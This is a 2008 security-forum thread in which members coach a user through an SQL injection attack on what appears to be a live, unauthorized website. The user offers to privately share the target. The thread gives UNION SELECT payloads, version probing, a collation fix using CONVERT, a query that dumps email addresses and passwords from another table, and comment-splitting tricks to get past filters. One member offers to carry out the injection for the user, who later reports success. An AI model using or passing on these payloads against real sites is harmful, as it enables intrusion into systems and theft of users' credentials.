Waraxe IT Security Portal
Login or Register
December 18, 2024
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 47
Members: 0
Total: 47
Full disclosure
[KIS-2024-07] GFI Kerio Control <= 9.4.5 Multiple HTTP Response Splitting Vulnerabilities
RansomLordNG - anti-ransomware exploit tool
APPLE-SA-12-11-2024-9 Safari 18.2
APPLE-SA-12-11-2024-8 visionOS 2.2
APPLE-SA-12-11-2024-7 tvOS 18.2
APPLE-SA-12-11-2024-6 watchOS 11.2
APPLE-SA-12-11-2024-5 macOS Ventura 13.7.2
APPLE-SA-12-11-2024-4 macOS Sonoma 14.7.2
APPLE-SA-12-11-2024-3 macOS Sequoia 15.2
APPLE-SA-12-11-2024-2 iPadOS 17.7.3
APPLE-SA-12-11-2024-1 iOS 18.2 and iPadOS 18.2
SEC Consult SA-20241211-0 :: Reflected Cross-Site Scripting in Numerix License Server Administration System Login
St. Poelten UAS | Multiple Vulnerabilities in ORing IAP
SEC Consult SA-20241204-0 :: Multiple Critical Vulnerabilities in Image Access Scan2Net (14 CVE)
Microsoft Warbird and PMP security research - technical doc
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Sql injection -> [SOLVED] SQL Injection | Need help
Post new topicReply to topic View previous topic :: View next topic
[SOLVED] SQL Injection | Need help
PostPosted: Wed Sep 17, 2008 8:58 am Reply with quote
tr0nix
Active user
Active user
Joined: Mar 06, 2008
Posts: 48




Code:

1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '2'' at line 3

SELECT some_column FROM some_table WHERE sql_injection='3' UNION SELECT 1,2,3,4' and id='2'




How could I bypass this?
Tried it with ' UNION SELECT 1,2,3/*, but it didn't worked.

Any tips?

Thanks in advance.


Last edited by tr0nix on Thu Sep 18, 2008 10:14 pm; edited 1 time in total
View user's profile Send private message Send e-mail
PostPosted: Wed Sep 17, 2008 11:34 am Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Try without commenting out.

Code:

' UNION SELECT 1,2,3 WHERE '1'='1


Without deeper details it's hard to figure out proper sql injection string ...
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Wed Sep 17, 2008 11:39 am Reply with quote
tr0nix
Active user
Active user
Joined: Mar 06, 2008
Posts: 48




Code:

1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'WHERE '1'='1' and l_i='' at line 3

SELECT some_column FROM some_table WHERE sql_injection='3' UNION SELECT 1,2,3 WHERE '1'='1' and l_i='2'



Should I pm you the site?


Last edited by tr0nix on Sun Sep 21, 2008 1:30 pm; edited 2 times in total
View user's profile Send private message Send e-mail
PostPosted: Wed Sep 17, 2008 11:49 am Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




No. Just post here attack URL (GET request) without private info (domain name, etc removed) and exact sql error (same thing, remove private info).
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Wed Sep 17, 2008 11:57 am Reply with quote
tr0nix
Active user
Active user
Joined: Mar 06, 2008
Posts: 48




https://site.com/zzz_content.php/coID/3'

Error:

Code:

1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '2'' at line 3

SELECT content_heading FROM content_manager WHERE content_group='3'' and languages_id='2'


Do you need anymore infos?
View user's profile Send private message Send e-mail
PostPosted: Wed Sep 17, 2008 12:04 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




tr0nix wrote:
https://site.com/zzz_content.php/coID/3'

Error:

Code:

1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '2'' at line 3

SELECT content_heading FROM content_manager WHERE content_group='3'' and languages_id='2'


Do you need anymore infos?


Try some variations:

Code:

-1'+UNION+SELECT+@@version--+


Code:

-1'+UNION+SELECT+@@version+FROM+content_manager+WHERE+'1'='1


If you see sql errors, post them here.
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Wed Sep 17, 2008 12:09 pm Reply with quote
tr0nix
Active user
Active user
Joined: Mar 06, 2008
Posts: 48




zzz_content.php/coID/3' UNION SELECT @@version FROM content_manager WHERE '1'='1

Error:

Code:

1267 - Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,COERCIBLE) for operation 'UNION'



So I just need to use CONVERT(), right?


Edit: Did it, sadly version 4.1.10a, but I'll try blind sql injection *g*

Big thanks to you, waraxe!


Edit2:

When I try to read from another table it gives me this:


Code:


1054 - Unknown column 'l_i' in 'where clause'

SELECT some_column FROM some_table WHERE sql_injection='-1' UNION SELECT CONVERT(CONCAT(email_address,0x203a20,password) using latin1) FROM anothertable WHERE 1='1' and l_i='2'


How can I bypass this now? Confused


Last edited by tr0nix on Sun Sep 21, 2008 1:31 pm; edited 1 time in total
View user's profile Send private message Send e-mail
PostPosted: Wed Sep 17, 2008 2:58 pm Reply with quote
Sven17
Regular user
Regular user
Joined: Aug 01, 2008
Posts: 8




pm me the link and i'll inject it for you
View user's profile Send private message Visit poster's website
PostPosted: Thu Sep 18, 2008 1:11 pm Reply with quote
tr0nix
Active user
Active user
Joined: Mar 06, 2008
Posts: 48




I did it, yay.

Thanks to everyone who tried to help me. Smile))
View user's profile Send private message Send e-mail
PostPosted: Fri Sep 19, 2008 1:15 pm Reply with quote
0xbadfaceX
Regular user
Regular user
Joined: Aug 01, 2008
Posts: 12
Location: .bashrc$>




Using hex() and unhex() for columns
or to bypass this request must using a quote comment for the "UNION", like . . .
Code:
u/**/n/**/i/**/o/**/n
un/**/ion


etc . . . ++

_________________
,
View user's profile Send private message Visit poster's website
[SOLVED] SQL Injection | Need help
www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.045 Seconds